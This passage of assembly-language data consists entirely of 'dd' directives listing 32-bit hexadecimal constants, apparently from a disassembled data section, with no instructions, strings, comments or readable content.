0CAB8031Ah dd 0CDA158Ah, 0C6795AD0h, 2F3A3300h, 0A4BE95C5h, 586463FFh dd 49008D12h, 0B4D69A59h, 78C044h, 98069E76h, 3513E5F7h dd 0F18E90C3h, 0A93901F6h, 0E30794A4h, 6C67209Fh, 2B8F5E0Fh dd 0E551F878h, 39576010h, 7A302A70h, 88802E60h, 6D27869h dd 0E5B0DAB3h, 3522318Ch, 0FAF13722h, 0ABE6C069h, 1B006C38h dd 34793EBFh, 5CB44Ch, 0EB29E2BAh, 93F2C62Bh, 8098E63Dh dd 52965BE3h, 51ABFCh, 7DBBC867h, 1BA9466Fh, 17C7D700h dd 5A229115h, 0FC560018h, 514011A1h, 1006AF5h, 0D16BA20Ah dd 288B2CBEh, 4480C724h, 0F2EC5823h, 33989663h, 87CBAh dd 0CE98BED0h, 0C337EFD9h, 0E9387474h, 3956B01Bh, 0C80F8D1h dd 0A0721936h, 49008AFEh, 0D5F7E75Ch, 9006C215h, 85D10704h dd 0C33C9190h, 86D83843h, 52098084h, 11AB6AF4h, 0D009D20Ch dd 2C6110E4h, 998A2B69h, 0D489C50h, 0E412069Bh, 300A5913h dd 1D6C2B15h, 0C6C41EB8h, 0A9452A00h, 88966D24h, 0BCE17FFBh dd 4B2E7431h, 0C8224F40h, 38015AF8h, 0BC5E6242h, 29B620D5h dd 0AE005968h, 0EA0EE8BDh, 5F5D32h, 3AB36CE5h, 89D35CBFh dd 0C13C4B77h, 438E1F64h, 11BC3D0Ch, 9D130056h, 7759CCF6h dd 8E0155DEh, 0D965FBC0h, 0A74080F0h, 0E268BBC9h, 40A306BDh dd 68BC0146h, 0D84E5A03h, 0C2E39D10h, 44244426h, 0E5609AFEh dd 3A7D057Ch, 0C8778ACh, 5FAD4CFAh, 8B00CFF0h, 53835874h dd 0C59375h, 0A61D073h, 494068A0h, 56E20C00h, 0D7BC8D21h dd 5895614Eh, 50B61BF4h, 2F666ECCh, 470FEF00h, 7F6D9692h dd 32E41408h, 272A4898h, 97900098h, 0FDD27F29h, 850019C3h dd 0B97E144Dh, 6E165EBh, 0F16F2DF2h, 0AA00C1F3h, 0F61E9E09h dd 1CBCF5h, 4C96FA15h, 2E8E940Dh, 0DA29EC60h, 73B5BA2h dd 726FC698h, 733AF084h, 7100DE78h, 0A750CD8Fh, 52C4F725h dd 56009496h, 55AC5387h, 0B279E343h, 36479E00h, 0A5499067h dd 199300F5h, 0F98F7AFEh, 6924D6F4h, 41354C1Fh, 6D4F4401h dd 40237F2Bh, 9F1F6057h, 8A03208Dh, 89736DAAh, 0BC881334h dd 0E02C278Fh, 0D2903C4Bh, 5B016DF0h, 2B6FC4E1h, 0F88AA7BCh dd 309DFA13h, 0BDB3EB79h, 27E3412Ch, 2836EE00h, 18454D3Ch dd 0F8A49C04h, 791269D8h, 580A24F8h, 6583DC3Bh, 3F2797F6h dd 9B007E49h, 140D0799h, 0D2004158h, 4E5CDE8Fh, 0F722343Dh dd 0E0A46EC9h, 155A4058h, 2D7C753Bh, 0A00D783Dh, 4AD1078Fh dd 0B0FBDA4Eh, 0EF1996BBh, 0F7828B01h, 0F82F636Fh, 0FB70F830h dd 0C5E38980h, 0A3D88B58h, 0C311D900h, 7A6D8D6Eh, 0C0614C33h dd 20F3B11h, 0BDB0D570h, 0FC844D2h, 24C2922Ah, 339925ACh dd 4F074891h, 8F20E583h, 67D995h, 0B0EA0521h, 557346B2h dd 68272E24h, 6124960Ch, 2C5860C7h, 903025D8h, 8FA97F07h dd 9ED01E3Ah, 6F1253A8h, 0F50069EBh, 0AFC609B6h, 5295EE00h dd 0A86BB049h, 91FA03D6h, 0F4F2C293h, 8CCBA900h, 0D3995C21h dd 0E01307ECh, 5774E2A6h, 7588011Dh, 0C47C3495h, 910E9730h dd 8366DAh, 0F5D5DF05h, 2CFCD8F6h, 29EC3913h, 0D1063A0Ch dd 3C714824h, 78704383h, 0D39FC18Dh, 0FE81BBF0h, 2A08F307h dd 0F4B04D15h, 99583767h, 51C240A8h, 0F06042CAh, 60F45958h dd 9529C633h, 0F800990Dh, 7D92B5A0h, 0C15C22h, 0E7DF876Bh dd 458FD40Ah, 0E60D1807h, 5B110FB0h, 21C4F1CFh, 7F79C4h dd 56440E4Ch, 65748670h, 87255038h, 768712B1h, 83241039h dd 286301D1h, 0A301028Ah, 0F62DF895h, 353C5376h, 0B6B4009Dh dd 32983738h, 0CAF72AFDh, 2E0D1C08h, 6C4006Fh, 7B89AFD1h dd 0CF4F9400h, 18D96E83h, 7CE4ABE7h, 6C9151h, 0F4741E73h dd 5964BF69h, 944053F9h, 1DFABC4Bh, 50EE3648h, 0B0C0D121h dd 0A8299FC2h, 0C8B85017h, 51F4657Fh, 0C868C833h, 73D50F0Fh dd 87E18B85h, 80CE1D5Ch, 51F453AAh, 6109AB9h, 0E5FC8F6Eh dd 8E2E390Ch, 0F7605479h, 13052EC9h, 59E1B8h, 0CFF63910h dd 47005DF3h, 2487F940h, 6213E685h, 25F14134h, 7DCBF0A0h dd 0BF00D960h, 0EDD5664Eh, 700A2BC4h, 0A6670070h, 44F35ABAh dd 0C1C1B613h, 85D61297h, 17F66434h, 315A0FE5h, 72837708h dd 0B41D39C4h, 0E437D096h, 1E80EB0h, 899104F0h, 0C819A1C4h dd 2A4CC9BCh, 5D5200D0h, 0AF4E769Fh, 0B8B1043Bh, 0C7194BFBh dd 8ABF361h, 3C2CD12Ah, 4361D465h, 20F0D082h, 4F98548Ah dd 683D83Ch, 159C89CEh, 0F1661811h, 1B429F8h, 0BA102F00h dd 0ADDBAC32h, 0F2A30BB0h, 6C229A5Eh, 9524BD5Ch, 3D18C888h dd 7D9744h, 0EC9D049Ah, 0A4EA6D7Dh, 87502498h, 1134E5ECh dd 38403165h, 2355A5DDh, 33FC00DAh, 0E778933Ch, 40043B7Ah dd 188B2B68h, 0E9801888h, 69307700h, 26AAD800h, 377A4DCFh dd 82E90735h, 0DFE1D1D0h, 22557821h, 1480A639h, 0BE548401h dd 90601C14h, 0FC5E513Bh dd 6767F5E8h, 6ED1B5h, 9E8715BCh, 707F7301h, 0AE557D8Fh dd 60338C60h, 0A61A81B9h, 46005311h, 0FD286920h, 0B0656F4Ah dd 966C1104h, 164F058Eh, 0E0D72669h, 0BA1124AAh, 0AB668F00h dd 2CD51FFFh, 0B9F84600h, 14BCF987h, 0C5E4001Dh, 0CAF429FCh dd 161F969Fh, 7207DA04h, 5BB0D5A7h, 8A531Ah, 7EC26A7Dh dd 0BB460EC9h, 0A851CC1Ch, 316C3383h, 0F6CE881Ah, 90480027h dd 87A96D54h, 0AA0E5B5Fh, 8059CFA1h, 561ED68Ah, 9773000Dh dd 47A51D19h, 32069DF1h, 0A0F5E4BFh, 0B6DA1811h, 8BF62950h dd 91758AE8h, 7E29EA03h, 0B4772B31h, 453BDCA4h, 966DF053h dd 4B763388h, 8838023Dh, 0C6049B09h, 0A25E14C0h, 0E0708084h dd 0D904C18Ah, 0FF4310CEh, 5820147Eh, 0CC866Eh, 215540E0h dd 660CC037h, 83F4993Eh, 0CF726CE4h, 0ACDAD85Bh, 361C0324h dd 6541F97Dh, 2F384DE8h, 0FF1350E2h, 282011DFh, 2B92568h dd 6F8ECCE3h, 90E85576h, 52441897h, 23B100B9h, 0F4805670h dd 7516D16Fh, 5840BBDDh, 95601A39h, 58797F68h, 0B384C098h dd 65A4A4D1h, 2438F926h, 1178E110h, 24187Eh, 0C4B445DDh dd 0B037DA33h, 0C226072Dh, 0B0AD0493h, 1A15D142h, 3155D231h dd 0E0321DD9h, 35DB0D0Bh, 344B8800h, 0C0A81BF4h, 79058564h dd 0F3365A2Ah, 1792ACC3h, 20440D19h, 0B3DA6CB8h, 0D271DD1Dh dd 9D7F4107h, 84F31FA2h, 14810187h, 0FAE417F9h, 0FBE60A8Ch dd 870AA69h, 129226A4h, 0C0A00822h, 17F31Dh, 0DC889C3Bh dd 6E4A1AE8h, 96713C0Fh, 2DD680DEh, 5283BCh, 61543FDh dd 0D18E9856h, 480F024h, 1218F211h, 1CBD59E6h, 4516E101h dd 0E4AAD147h, 128899CEh, 0C42830Ch, 6CB17Ch, 0CCBE1492h dd 0DA0037C1h, 0D965A08Ah, 0B8A493B3h, 1FC8440h, 78726D48h dd 0E3D1BFA1h, 67978905h, 97C27688h, 5308E077h, 940C5893h dd 944D7C48h, 900F2B22h, 40685FEEh, 0A056B9Ch, 69EEE4Fh dd 13E3A133h, 7053299Fh, 8A3B1E9Ch, 602585C0h, 965E7Eh dd 0CE9E761Ah, 1E9ADE32h, 2A7B7C01h, 6961399Ch, 0B040A021h dd 0EF066EABh, 73139428h, 39C09188h, 80806259h, 5BE6017Dh dd 4E4B0071h, 6F655CEFh, 7FF6A83Bh, 0E7148A00h, 0ED29D9F6h dd 40626077h, 1B515435h, 5C0014B8h, 634CFA22h, 21E119h dd 3D17DD62h, 3CC85E3Ah, 0AE363B00h, 9271295Ah, 19610CDFh dd 0F2193896h, 4600ECA4h, 28B7F717h, 15522790h, 0A4823192h dd 74D90074h, 0EF39AF5Ch, 2B0034CDh, 87E6A43Eh, 50B9D589h dd 33ABB59h, 0B2B75DDEh, 0BCD07879h, 61C0F5D7h, 14FB2783h dd 10F90491h, 84A895FEh, 0D74CE038h, 58F4C444h, 0B3860C53h dd 809819ACh, 78813D50h, 30FD652Ch, 76848680h, 902455C5h dd 0FF1518FCh, 131438B5h, 1948FA02h, 52400EF4h, 0FDD1302Ch dd 0C0576551h, 0E86E7201h, 0E25490Fh, 0C2A2260h, 0B4E1166h dd 98B1F2C8h, 8258F900h, 283F7CAh, 9334C13Eh, 4090576Bh dd 0B200FB0Eh, 8A7132ABh, 119E5A1h, 16EAE78h, 89E96572h dd 44A4BCB9h, 2A333070h, 0C6796EF1h, 0F536F702h, 0A193A58Ah dd 0F62E17C0h, 0BB242C33h, 0A6530474h, 80254859h, 0C7DF1BB2h dd 0D9033C9Ch, 9E28ED07h, 68E40023h, 0B48CB826h, 67B067BBh dd 7FE03604h, 0FCF3B0BAh, 0DC58C43Dh, 16D5900h, 54C6282Ah dd 8E021CB0h, 6F2CAD56h, 0F05864F0h, 5F680644h, 91BC6EDBh dd 553A6700h, 42277BB1h, 0B0350284h, 7A2A1AFAh, 768FDC40h dd 914A7000h, 0CA8758D1h, 48FB776Eh, 0E406329Ah, 10EB6DD2h dd 2E0D5203h, 0C87C8Bh, 0E69BC571h, 0B866FBDDh, 0C49502F1h dd 0B0B6050Ch, 0B07F239h, 44B2FDB8h, 0C4144880h, 0D5138EFBh dd 0FC43E249h, 0D9ECC5E3h, 518F8F53h, 711BF16Dh, 0BEEBAE0h dd 0CE00BB90h, 83C7BE78h, 2431E46Dh, 6C64D6F6h, 0D29F431h dd 3C11CCA7h, 80879F00h, 0B2626905h, 0B0A3181Ch, 297291C0h dd 2644BCh, 9916E89Dh, 208FB309h, 61E138C0h, 4A106B72h dd 702840ECh, 48D39143h, 6A712Dh, 0C4A8E264h, 5084054Ch dd 0D2B3F1A7h, 39218178h, 3F6006FEh, 8200062h, 0FB035FFAh dd 0E0BD486Dh, 423377Ch, 7DA28361h, 0C910F1E6h, 0A986138Eh dd 8385D75h, 89C4C2Ch, 1981B6ADh, 0E7E29694h, 8AD430h dd 29D0E0A7h, 6235A192h, 55D30F18h, 162A1C28h, 4604BF7h dd 21AC51CCh, 121121D7h, 0DB4420B7h, 7B38E700h, 9EA2ABFFh dd 3DFB7D37h, 84001E4Eh, 0F59F69Fh, 89003156h, 34BACAE1h dd 2C2545DEh, 399511DDh, 0FC38A83Ah, 0D2BFAF80h, 58C1526Bh dd 0A5121B77h, 920088DAh, 1C7418Bh, 774038FFh, 9250D031h dd 1DEC0CB3h, 8012585Fh, 3EDCFF8Eh, 2E619652h, 0ABC7A020h dd 79165080h, 253BD5B7h, 2DB5C40Fh, 688FE18Bh, 7080B3B2h dd 71F824ABh, 6E00E78Dh, 1545113h, 127A353h, 894FFC08h dd 81A855A0h, 0F9CCDB50h, 0B3CC1FE8h, 0AE4C0027h, 0A9146AC7h dd 0B24CE082h, 88F803FBh, 71E54126h, 688760B0h, 9B7CF3A5h dd 0DD634F00h, 434E4180h, 0B7050016h, 76258BC2h, 68E831E2h dd 46EDA606h, 0F795AA0h, 5B510543h, 45785701h, 4A8609Eh dd 3B6D6E00h, 0B1C66394h, 58B1884h, 0D28D9B5h, 0E4A38F26h dd 99BAB200h, 591E737h, 0C6D6C07h, 2554C082h, 1A0058A8h dd 9D14851Fh, 0D6268Ah, 0F6F7EA90h, 0F8912468h, 0DED8F550h dd 23D8730Ch, 2AC9D183h, 0DCBD45h, 4AF2468Bh, 0F37EF77Ch dd 0DEFF1000h, 0ACC99805h, 0A9E2019Fh, 0A3AB89DAh, 0D62F86Fh dd 0DBA0FA18h, 0E2591841h, 74151E24h, 0A7930005h, 0F386F2CFh dd 0EB4F0C01h, 0AA47C9A2h, 0CDA33180h, 446A7399h, 0A002FA00h dd 0A919584Dh, 39B9002Ah, 0F8BD0EAh, 1E000C10h, 42256CE8h dd 519745E1h, 0CAD58CB6h, 60009371h, 7CCF9A5Fh, 0DB860A2Eh dd 39CC02A2h, 0E34C3905h, 6DB040CBh, 21559CCEh, 8F19791Ch dd 6A870140h, 65FA458h, 8C28ACE0h, 4E0550F6h, 0CCDE9D1Fh dd 1CAA9840h, 6CEB24h, 8FB2DA09h, 5553B4E2h, 46A37300h dd 69A008F6h, 9FED0006h, 3A0F250Eh, 6F1E15D6h, 39006B6Ch dd 855FB641h, 4FF000B1h, 0CBC32A0Bh, 0FF001CE2h, 0DCFDEDD1h dd 40F86h, 8A28CC6h, 25E907CDh, 69DF2603h, 0C8DE94h, 40603891h dd 67255A4h, 8F522101h, 22141590h, 713EAAE0h, 7E90A8A7h dd 6A7900C2h, 3C8D64C7h, 9300C38Ch, 17454E47h, 24B0DE54h dd 87BC8F04h, 47AC3F8Bh, 0DB344359h, 94457000h, 5843B740h dd 0C7160FCAh, 22C6E37Ch, 0A77D915Ah, 70057892h, 3F315237h dd 25B644C0h, 74FF00FAh, 262429D2h, 99C0F495h, 0DDBD3EABh dd 0F1015CD7h, 0CFB65350h, 0BA608E51h, 0D162A6A1h, 60DB9F00h dd 4745193Eh, 0E2590156h, 92F42E10h, 0F798024h, 0FB520639h dd 44A63C8Bh, 11051118h, 0C061A7CDh, 2C3F5BE1h, 269080D3h dd 8684AC98h, 0E7700B0h, 0E0BAD23Dh, 47005CE3h, 0D0A81F05h dd 9612621h, 724DA7B0h, 63B58C00h, 0E2EC59Bh, 0DE1274A1h dd 27593803h, 45E93EBFh, 60D8690Fh, 6E3C6FC7h, 0CC03F9A9h dd 3C159DFh, 0CAF60786h, 4D150F81h, 7520FE70h, 0F8B9F404h dd 7672B609h, 0BB4C0439h, 274B2E40h, 9600A8AFh, 7832C05h dd 1A1F6F1h, 4CE5FF86h, 435B9AD5h, 31A845DCh, 2210D87Eh dd 0DB0689FDh, 0A9A1E398h, 0BFDD9C80h, 84580113h, 0F30EEC21h dd 70B4E03Eh, 0EAC8F000h, 0A4F86DEh, 0A75F00BCh, 285EE16h dd 0AB0ED52Ah dd 9DF1C58h, 0CFC0009Ah, 77603CC4h, 0B9321987h, 0E33E78FAh dd 0F9CD80E0h, 0D72A6900h, 66CEEBEh, 78AF0F5h, 0E096F840h dd 0A94180DEh, 6E056B3Eh, 0F9A0D294h, 9A8CE440h, 0C44DC8h dd 24473CDFh, 9508A989h, 5B05E000h, 0DC3D12B1h, 1353736Dh dd 21255AF0h, 50D3DEB0h, 0EE0D1AA0h, 1762AA00h, 0E7DB85Fh dd 27C60C97h, 47688182h, 0A1FB88A0h, 3BC7D344h, 698074E0h dd 0FF4B2FF1h, 1F1F9144h, 0F06A3BC5h, 9DFDF021h, 0A90020B6h dd 18D221F1h, 899CF9h, 8E6399C8h, 3B1D167h, 7D3A237Eh dd 0E7938747h, 0B80045A9h, 106AD88h, 0BE2DF343h, 0E1B0ABC2h dd 608457E2h, 81678959h, 0FABFD500h, 941AF569h, 0B046FCAEh dd 430D00B8h, 0B0EF89D4h, 98925E4Dh, 26D86812h, 73EF05Eh dd 1A259DB1h, 0E2186BFh, 5BA73019h, 0E9DE5C31h, 2A241706h dd 6218BD8h, 64DC2C07h, 0DF021184h, 0A06E97E9h, 59F86877h dd 0BC8F5228h, 400B522h, 0DC65909Fh, 3FFF144h, 5BEF5213h dd 80F538CFh, 0B08ABFD0h, 22404C50h, 3ED32B39h, 0AC3C3AC6h dd 0F8086898h, 0E1089C89h, 1999B001h, 4DFC2530h, 2B451E29h dd 9BF500B4h, 21DC7364h, 4CDF9700h, 94B68987h, 47C92D0h dd 231D4709h, 452CC899h, 82A1FD3Eh, 0A049DC54h, 81A0905Ch dd 0E1FB1C1Eh, 0E262C72Ch, 7E98B097h, 8D00348Bh, 577FF522h dd 0A883B26Fh, 0A880DEB4h, 695080h, 965B3C3h, 89AD64B7h dd 0F301CE00h, 0FAA1FF46h, 8D2B0123h, 0B09DEA80h, 1CD0325Fh dd 5B4544B7h, 0A8D0EB15h, 0C349B5A3h, 8A6FDA59h, 70895AD9h dd 80ED0B28h, 693FB019h, 98D43063h, 864CA34Ch, 0A358FC99h dd 0BE25E16Ch, 1810D855h, 56D3052Ch, 0D4D4418Dh, 85D170C4h dd 0A8E36054h, 5223A115h, 47009C6Fh, 820301AFh, 87062F53h dd 0BF25D86Eh, 2C20B351h, 56E7004Eh, 37779101h, 0ADD55E03h dd 0F01CDF27h, 2FC150Fh, 457F7A5Bh, 0BCE4DB4Eh, 0A9DFB271h dd 66B9E583h, 5B0FE056h, 28BB0022h, 5901F8D6h, 70006167h dd 90F237FFh, 0EE6AC2h, 74FD0FBFh, 0A56733E5h, 726E8A0Eh dd 211F2FACh, 0AFA0EC83h, 718DA180h, 0CE276A1Dh, 6CBF6300h dd 0C56BE9Ah, 0EB8C01BCh, 921651ECh, 2EA432E9h, 0D000F9A2h dd 0F9B8E017h, 0C0843A28h, 56A0470Ah, 155F8090h, 0E5E02B7Bh dd 54F06C00h, 67092FC0h, 53EFE2Eh, 0CA94F108h, 0D84402DDh dd 0CC44CD39h, 6D0094BAh, 0E45CF276h, 0CBE29h, 0F64446E6h dd 0FD7C2523h, 0C1D86849h, 0DB2EDC5Ch, 0D4808917h, 0C2D9CA4Bh dd 0C7AC69D0h, 809F61C9h, 397FF286h, 9D0B006Eh, 0FCEF5460h dd 8E7FCB10h, 74DEFA0Ch, 30FF508Dh, 4649D0A0h, 0C906D578h dd 5FA3377Bh, 0F25D07F9h, 4416384Bh, 0D7AC8098h, 0FC01F72Eh dd 205B6AC8h, 8180BAB2h, 27E7608Dh, 32005E3Bh, 0D1DEB409h dd 58F84B7Fh, 1DDDC40h, 0D3E95AFBh, 0AB46EC21h, 0A0F848h dd 8ADDBC77h, 0D46A9B5Dh, 0DE15E4F1h, 1C1E8082h, 0B9D240FCh dd 0DB5D83EFh, 2128084Dh, 20B216DAh, 0E22AB8E4h, 0F1981E09h dd 0CFA08489h, 0D1400852h, 0B03029BEh, 0E189DE00h, 0EC34A84Ah dd 12DA7BA9h, 8B6BFE6h, 709EB160h, 6E1B93C0h, 0AF1341h dd 1AFA3DFDh, 68EC285Eh, 0EA4D0100h, 6EE712ABh, 43604B2Ah dd 26DDD24Ch, 60588493h, 0C422E4h, 0F8742468h, 202E9A92h dd 0BCB941Ch, 78951900h, 6F27D8h, 62E7B104h, 0AEDCCA47h dd 10B678A1h, 6599D3h, 1E436CA4h, 5ED5D087h, 0FE2A201Ch dd 63F2F044h, 0A8FF888h, 0C4AF39B2h, 0C8A74450h, 0EB1F672Ch dd 0E440EEB0h, 3BD694B7h, 47DF2A41h, 0D481E260h, 4600E239h dd 0B27687C1h, 0F4984508h, 18EC0BF2h, 0A0F7F10Ch, 40B1D8h dd 0A12B82CBh, 0F55F8C66h, 629CAA1Dh, 5AF82EC3h, 0AB292E5Eh dd 0C4C50820h, 19A6A70Ch, 2E70069h, 27F8CB49h, 470781A9h dd 0D28B4E77h, 0A9B2D332h, 1E0C40D8h, 0DB3722D8h, 8169FF06h dd 131107B0h, 91B36EDAh, 0F4662150h, 3800E4E8h, 0FA353123h dd 0BCD020h, 1A4CF33Ah, 97C68058h, 0BC53BF3Ah, 0BE607E46h dd 0E6B05299h, 0E59DE4Eh, 5EE37BAAh, 0D380A982h, 0BE692C5Fh dd 0B1788198h, 15CF38DBh, 0BC34A289h, 0B8604100h, 29F99CA9h dd 89822300h, 4D06CDA1h, 0A63D006Fh, 91F2EC65h, 133D268Ah dd 0EE0839Ah, 27223F59h, 0A410A9E9h, 190067E4h, 963F8762h dd 1F9A7C7Eh, 0C1C6337Ah, 0ED73E2DDh, 23106029h, 0FA0EA002h dd 0C4FC22D8h, 0AAD322D4h, 5FF6A201h, 5C9DDFF4h, 176CB07Ah dd 1803E44Ah, 99EA10Fh, 4CF4D119h, 0D7AAB010h, 0FCFC4E2Eh dd 585F204Fh, 0B188AE9h, 4686A25Bh, 13B61402h, 5968B00h dd 4FE10259h, 0A284A0F8h, 32DE14E9h, 11E400A8h, 861C7B33h dd 8FEF004Dh, 27753D18h, 1F0762B1h, 635296F8h, 8A0EA07h dd 99FF0FE7h, 16B01CF8h, 3DA02223h, 7C8178E5h, 52199571h dd 9AACF0h, 872A4365h, 49DFB11Dh, 9B619304h, 98A4B734h dd 9E93B68h, 82F99713h, 8A20AB78h, 4EFFD446h, 45502012h dd 57003D77h, 0EA1B2E5Eh, 0D26D7DAh, 0A37C466Fh, 82F83010h dd 4501D844h, 0DC844D5Fh, 0C3007B84h, 0E239EB02h, 75FFC32h dd 0CA19770Ch, 89280CA4h, 4923DB37h, 0B0ABE089h, 0A1536206h dd 0B4525159h, 54A3452Ch, 0F58E8540h, 6AF301CCh, 9579A4FEh dd 87AD4546h, 0A82492E4h, 29A7DE02h, 5F85A404h, 87804114h dd 4281AD77h, 9080A758h, 591FEAA1h, 74B2EC2Ah, 0D8EE6095h dd 3C5C493Fh, 0F153A018h, 1907AE28h, 6E8179EBh, 90A771E0h dd 776A181Ch, 0A09CE847h, 0FC87182h, 0E676F70h, 8F906032h dd 5A023106h, 58198E41h, 46D08374h, 30138CA2h, 7B44F660h dd 7400937Bh, 3FCF6909h, 326D4DBBh, 0ACA00E1Fh, 882C262Ah dd 83627C40h, 42922477h, 0F46000F3h, 85761ACDh, 3908BF0Bh dd 0ACA084C7h, 660CEB40h, 11003E1Ah, 0F9019BD9h, 4B4F8D3h dd 26FB8219h, 457C833Bh, 58085294h, 8A688FC6h, 89A7D0A5h dd 3690F8DCh, 85A93F02h, 0E08B68F8h, 5C9E77F8h, 47C0602Bh dd 3E1F1EF5h, 9BE78600h, 0AF088F92h, 0D3761E06h, 46C509B6h dd 423884E0h, 696E6F12h, 0BEDF1C20h, 10D20189h, 0FE21DBB6h dd 40F451C5h, 0BBB211D9h, 0E8FBA450h, 50100161h, 5AF6AE55h dd 302D08h, 0F07A7288h, 0A86A6CB1h, 9C941F30h, 0C97343A8h dd 0CDF2ACB0h, 8C2B4301h, 0C2AF6FEh, 20DEC3E0h, 0CA148A20h dd 2240D840h, 0CEC000B4h, 120A03A9h, 267FE15Dh, 7C90DB76h dd 74BF8A22h, 4CAD882Bh, 0BA6E4B16h, 2030F416h, 256A3B7h dd 20D4148Eh, 0F466B086h, 1BF0F00h, 5D15F3E2h, 0B20800F0h dd 33EEAC1Dh, 492ECA44h, 9C2E6CA2h, 0DFB34F40h, 5B90001Dh dd 0BD3350C5h, 0ED73407Eh, 2A96B001h, 0B81FE6A0h, 0A06AC0F4h dd 53A88C0h, 0B9E7FD2Dh, 0D7B88C89h, 0F1F37705h, 58416B18h dd 0E92226F7h, 44B7930h, 0F92B9449h, 29ECE3B3h, 0FD0098A7h dd 3B54BFFFh, 10F79AFh, 0EC23639Ch, 2DA06075h, 0CE000E4h dd 796A5D1Ah, 0A7DC2451h, 0FE114064h, 8D003666h, 0DECF2DC5h dd 1C834978h, 4B7751A8h, 0B803AC76h, 40F16C31h, 5C6C8Ah dd 219AF980h, 0E1DF2Ah, 5FE2C005h, 20508381h, 0F890FC1Bh dd 91B7F710h, 0FA6D72C0h, 23A200E0h, 1CE5298h, 32338B10h dd 91EF9A4h, 0E6B824E0h, 0D4D2F4B0h, 89E29F01h, 0A693C650h dd 37297D4h, 56B95877h, 0CC85D8EDh, 461411A0h, 0CD669Bh dd 0E5944A18h, 51CBB74h dd 5E384122h, 7AC9030h, 0CF12DFCCh, 0C886BF9h, 40790166h dd 0D801C4A3h, 9080D31Ah, 0E1033BF0h, 0E2C3FF74h, 0CE26E9C1h dd 2300AC2Dh, 9CECAF2Bh, 2F0E6B31h, 0AFAC9D8Ah, 71250068h dd 0A6446DC2h, 42E801C8h, 0B287EBC7h, 1B7980B9h, 0A45F5BF3h dd 0D09C05EFh, 6EA7D8h, 0D97209B8h, 0B60191CCh, 6DDA2752h dd 7C7128ABh, 4F405C17h, 0B812945Ah, 0BB80435h, 0C01F79BCh dd 6DAF83ADh, 26F56700h, 0AC5FF431h, 0C2A72CBFh, 0E62B4214h dd 34FD8155h, 0B1F40304h, 4068B684h, 8A9F437h, 8D0E0500h dd 0D3F85F35h, 0B0EB1EDBh, 8B49B00Bh, 0FCB2928Ah, 83F8D600h dd 34B10D3Eh, 99A7EEDEh, 0DF790064h, 9EF769CEh, 52EB9D00h dd 9C4EE865h, 0E77B2Eh, 895E0910h, 0A0705561h, 160F9CB1h dd 3F250001h, 7664B4h, 47154D8Bh, 0FC8642A7h, 6FA8E506h dd 2E02E88h, 0CB3ED3DBh, 74FB515Fh, 2067100Eh, 4446ECCCh dd 0B7861FF4h, 0DB180543h, 0A788B434h, 0B38028BEh, 0AD6F3A16h dd 422E004Dh, 77109EE3h, 0F204751Bh, 623DA607h, 4A5FC0A4h dd 502848BEh, 38416C13h, 0D476ABB7h, 41E99C48h, 0C01454AAh dd 526A4E69h, 0F0A9A100h, 2127B1FFh, 265CB634h, 13D011C8h dd 0BC2239D8h, 3F2886DEh, 58A74CE1h, 1BF80980h, 6609BE27h dd 801C4944h, 61FAADC4h, 0D6D5071Fh, 0D0EF407Bh, 8D90CA68h dd 62AB4800h, 0CBCFBDCEh, 0F039702Ah, 2FD603F0h, 6754431Ch dd 9EE266A1h, 96C05D39h, 1541D68Ch, 5B54015Ah, 46A8F0F3h dd 33308C13h, 2A08ECh, 2E18E619h, 6D95DC03h, 8F135800h dd 17E8F897h, 29E36030h, 7A3DD04Eh, 0B41D17B0h, 0AE808E04h dd 0D6B7F34Bh, 0D4FA0157h, 4792974Ah, 33909E30h, 389914h dd 0E62C7804h, 83EFEAh, 31DC5BE9h, 968C5AC9h, 0D67EA407h dd 0E1609A16h, 2A1C2A55h, 1970A0F0h, 19569E72h, 590EDBACh dd 9949919Dh, 7FD3D519h, 77960331h, 5B158DDDh, 879E5199h dd 20F71F19h, 30D9A246h, 4C41474Bh, 500C4C5h, 0B8E2FEEDh dd 7F7050h, 9D39F31Fh, 87D3D06Bh, 147D4498h, 0C6C8E606h dd 0E0491637h, 6F7FEBDh, 218EA20Fh, 8F7A7189h, 3BC6755Ch dd 0BAD09D64h, 0F1AD1440h, 1BA7A2h, 943DAC55h, 99E54082h dd 91426C30h, 18EA285Ah, 0D995D6EDh, 0E8603374h, 0B0F66B71h dd 353007B8h, 453721h, 975936C6h, 0D708FE00h, 0F5D8754Eh dd 29F801C2h, 3373A1FDh, 917C58B1h, 5AEBA05h, 8FC03C3Ah dd 8F429h, 389DDEA2h, 7FDB1139h, 92CAFC00h, 0ADF0A776h dd 0D0C0AB91h, 0E2250DE5h, 60A264D4h, 5D25FE9h, 9B001313h dd 85665C53h, 6EA505C2h, 80A1729Ah, 1230104Ah, 0DA9231C0h dd 3E86191h, 0D434C7F1h, 69DE4BA3h, 0F2E21698h, 0F70E907h dd 399C1D25h, 0C9456074h, 0C1E03307h, 4060B11Eh, 0CC72C9C0h dd 0EF7F61h, 7A1AC5F0h, 76A3FA83h, 309AB407h, 8BBC1Bh dd 4C64F6BEh, 93CA0F2Eh, 20D24036h, 32B18C90h, 37070F90h dd 0AA2C14F0h, 0E43933F0h, 72CF14CCh, 4000404Ah, 0AD3DEC29h dd 0D63F9B8Dh, 3C04248Eh, 14787566h, 0CC7AD550h, 18C01109h dd 8F7B1802h, 7DF71720h, 81106033h, 40E642D0h, 74D8C500h dd 894DFCBEh, 0B89A00CAh, 0E48267CDh, 0D62E06D5h, 0C71934A2h dd 0C8F59339h, 1EBFDD30h, 989BEB53h, 2B5111CFh, 0A9F0FB14h dd 909D84E4h, 0FAE33C8Dh, 0E7248074h, 0FC5231h, 0E8E19946h dd 1F56D6F7h, 0AD2510A0h, 0EEA6C900h, 4073AA75h, 32080018h dd 92CB60D6h, 464DB7C6h, 41D9094Ch, 42F0215Bh, 98F21DE4h dd 0E2A9FC28h, 0F4FA602Dh, 31FF9A9Eh, 0A5F1D705h, 56C080DBh dd 1C9B06Fh, 0C4E853DAh, 4747AAF0h, 5C44F464h, 9C402792h dd 4D0CB92Fh, 0A2070EF9h, 3FA1CADDh, 888093F4h, 139033A0h dd 398C3174h, 1C7680E8h, 58795334h, 7D3EE57h, 0C817AF02h dd 0D9308090h, 0D2283492h, 99006055h, 0A7155294h, 756379F7h dd 7632311Ch, 0D0DFA931h, 0EC18CA74h, 75A156C3h, 0DCF500DAh dd 39FAC9EDh, 5A1EC410h, 9A806B25h, 0AA9D1359h, 34D304BDh dd 80184E73h, 0D5453100h, 0D6E33700h, 0DDA80564h, 53B20146h dd 56AB7377h, 0E760D4AEh, 0EE33751Bh, 7B4898A1h, 723F00B4h dd 3496EA57h, 0D700E18Dh, 0BA1799A2h, 1194205Dh, 